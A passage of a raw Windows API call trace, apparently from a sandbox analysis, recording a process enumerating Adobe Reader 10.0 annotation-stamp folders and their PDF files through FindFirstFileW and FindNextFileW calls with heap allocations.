lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.635] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.635] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.635] GetProcessHeap () returned 0x550000 [0227.635] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.635] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0227.635] GetProcessHeap () returned 0x550000 [0227.635] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.738] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.738] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.738] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x892d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0227.738] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc084, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0227.738] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.738] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2eb9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0227.739] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.739] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.739] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.740] GetProcessHeap () returned 0x550000 [0227.740] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.740] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0227.740] GetProcessHeap () returned 0x550000 [0227.740] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.828] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.828] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x30eb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.828] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.828] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44925, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.828] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44925, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.828] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.829] GetProcessHeap () returned 0x550000 [0227.829] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.829] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0227.829] GetProcessHeap () returned 0x550000 [0227.829] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.829] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.866] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.866] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21a02, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.866] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0227.866] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0227.866] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.866] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0227.866] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b7c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.866] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b7c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.866] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.868] GetProcessHeap () returned 0x550000 [0227.868] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.868] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0227.868] GetProcessHeap () returned 0x550000 [0227.868] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.890] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.890] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.890] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0227.890] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0227.891] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9083, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.891] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0227.891] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.891] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.891] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.892] GetProcessHeap () returned 0x550000 [0227.892] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.892] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0227.892] GetProcessHeap () returned 0x550000 [0227.892] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.892] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.903] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.903] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 